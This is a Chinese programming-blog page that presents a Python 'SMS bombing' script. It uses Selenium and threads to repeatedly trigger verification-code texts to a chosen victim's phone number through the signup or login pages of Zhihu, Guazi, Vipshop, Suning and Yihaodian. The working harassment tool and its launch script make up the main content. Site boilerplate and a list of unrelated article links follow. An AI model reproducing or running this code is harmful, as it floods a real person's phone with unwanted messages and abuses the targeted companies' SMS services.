Python短信轰炸的代码


Posted in Python onMarch 25, 2020

环境 python3.0

工具 pycharm

谷歌插件chromedriver

程序执行方法

from selenium import webdriver
import time
from threading import Thread
class HongZha(object):
  def __init__(self):
    self.phone = "xxxxx"#你要轰炸的电话号码
    self.num = 0
  def send_yzm(self,button,name):
    button.click()
    self.num+=1
    print("{}  第{}次  发送成功  {}".format(self.phone,self.num,name))
    time.sleep(30)
  def zhihu(self,name):
    while True:#下面这行是刚刚叙说的chromedrive的安装路径

      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.zhihu.com/question/39993344")
      driver.find_element_by_xpath ( "//button[@class='Button Button--primary Button--blue']" ).click ()
      time.sleep(2)
      tel = driver.find_element_by_xpath("//input[@placeholder='手机号']")
      tel.send_keys(self.phone)
      button = driver.find_element_by_xpath ( "//button[@class='Button CountingDownButton SignFlow-smsInputButton Button--plain']" )
      self.send_yzm(button,name)
      driver.quit ()
  def guazi(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get("https://www.guazi.com/www/bj/buy")
      a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )
      a_btn.click()
      time.sleep(2)
      tel = driver.find_element_by_xpath("//input[@placeholder='请输入您的手机号码']")
      tel.send_keys( self.phone )
      button = driver.find_element_by_xpath("//button[@class='get-code']")
      self.send_yzm(button,name)
      driver.quit()
  def wphui(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )
      tel = driver.find_element_by_xpath ( "//input[@placeholder='请输入手机号码']" )
      tel.send_keys ( self.phone )
      driver.find_element_by_xpath ( "//input[@id='J_mobile_code']" ).click()
      button = driver.find_element_by_xpath (
        "//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def suning(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://reg.suning.com/person.do" )
      driver.find_element_by_xpath("//a[@class='agree-btn']").click()
      tel = driver.find_element_by_xpath ( "//input[@id='mobileAlias']")
      tel.send_keys ( self.phone )
      button = driver.find_element_by_xpath (
        "//a[@id='sendSmsCode']" )
      self.send_yzm ( button,name )
      driver.quit ()
  def yhd(self,name):
    while True:
      driver = webdriver.Chrome("C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe")
      driver.get ( "https://passport.yhd.com/passport/register_input.do" )
      driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("我的女神daadaamnabajhdja")
      tel = driver.find_element_by_xpath ( "//input[@id='phone']" )
      tel.send_keys ( self.phone )
      time.sleep(2)
      button = driver.find_element_by_xpath (
        "//a[@class='receive_code fl same_code_btn r_disable_code ']" )
      #button.click()
      time.sleep(1)
      self.send_yzm ( button,name )
      driver.quit ()

执行放发

from threading import Thread

from sendPhon import HongZha

hongzha = HongZha()
zhihu = Thread(target=hongzha.zhihu,args=("知乎",))
guazi = Thread ( target=hongzha.guazi,args=("瓜子",))
wphui = Thread(target=hongzha.wphui,args=("唯品会",))
suning = Thread(target=hongzha.suning,args=("苏宁",))
yhd= Thread( target=hongzha.yhd,args=("一号店",))
zhihu.start()
guazi.start()
wphui.start()
suning.start()
yhd.start()

总结

到此这篇关于Python短信轰炸的代码的文章就介绍到这了,更多相关Python短信轰炸内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
python中django框架通过正则搜索页面上email地址的方法
Mar 21 Python
Python的Django框架中模板碎片缓存简介
Jul 24 Python
Python实现翻转数组功能示例
Jan 12 Python
Python数字图像处理之霍夫线变换实现详解
Jan 12 Python
python实现批量按比例缩放图片效果
Mar 30 Python
Python3之读取连接过的网络并定位的方法
Apr 22 Python
Django读取Mysql数据并显示在前端的实例
May 27 Python
Django添加favicon.ico图标的示例代码
Aug 07 Python
python提取包含关键字的整行数据方法
Dec 11 Python
Python hexstring-list-str之间的转换方法
Jun 12 Python
Python中的With语句的使用及原理
Jul 29 Python
Python classmethod装饰器原理及用法解析
Oct 17 Python
PyQt5事件处理之定时在控件上显示信息的代码
Mar 25 #Python
基于Python计算圆周率pi代码实例
Mar 25 #Python
Python异常原理及异常捕捉实现过程解析
Mar 25 #Python
Python导入模块包原理及相关注意事项
Mar 25 #Python
Python脚本导出为exe程序的方法
Mar 25 #Python
Python实现猜年龄游戏代码实例
Mar 25 #Python
python读取mysql数据绘制条形图
Mar 25 #Python
You might like
PHP用GD库生成高质量的缩略图片
2011/03/09 PHP
PHP生成压缩文件实例
2015/02/07 PHP
php通过array_merge()函数合并关联和非关联数组的方法
2015/03/18 PHP
全新Mac配置PHP开发环境教程
2016/02/03 PHP
centos下file_put_contents()无法写入文件的原因及解决方法
2017/04/01 PHP
jquery 插件开发方法小结
2009/10/23 Javascript
Jquery遍历节点的方法小集
2014/01/22 Javascript
js函数在frame中的相互调用详解
2014/03/03 Javascript
nodejs之请求路由概述
2014/07/05 NodeJs
深入分析原生JavaScript事件
2014/12/29 Javascript
jQuery实现根据生日计算年龄 星座 生肖
2016/11/23 Javascript
bing Map 在vue项目中的使用详解
2018/04/09 Javascript
Vuex 快速入门(简单易懂)
2018/09/20 Javascript
Javascript实现关闭广告效果
2021/01/29 Javascript
为Python的web框架编写前端模版的教程
2015/04/30 Python
Python实现去除列表中重复元素的方法小结【4种方法】
2018/04/27 Python
Python处理中文标点符号大集合
2018/05/14 Python
Pytest参数化parametrize使用代码实例
2020/02/22 Python
在Sublime Editor中配置Python环境的详细教程
2020/05/03 Python
解决pycharm安装第三方库失败的问题
2020/05/09 Python
python 删除excel表格重复行,数据预处理操作
2020/07/06 Python
python如何调用百度识图api
2020/09/29 Python
python Cartopy的基础使用详解
2020/11/01 Python
UNIX文件系统常用命令
2012/05/25 面试题
写给女朋友的道歉信
2014/01/08 职场文书
教学大赛获奖感言
2014/01/15 职场文书
初中科学教学反思
2014/01/21 职场文书
仓库管理员岗位职责
2014/03/19 职场文书
动员大会主持词
2014/03/20 职场文书
团队精神的演讲稿
2014/05/14 职场文书
班级课外活动总结
2014/07/09 职场文书
党的群众路线教育实践活动总结
2014/10/30 职场文书
课外活动总结
2015/02/04 职场文书
2015年政务公开工作总结
2015/05/19 职场文书
《亲亲我的妈妈》观后感(3篇)
2019/09/26 职场文书
世界十大儿童漫画书排名,法国国宝漫画排第五,第二是轰动日本连环
2022/03/18 欧美动漫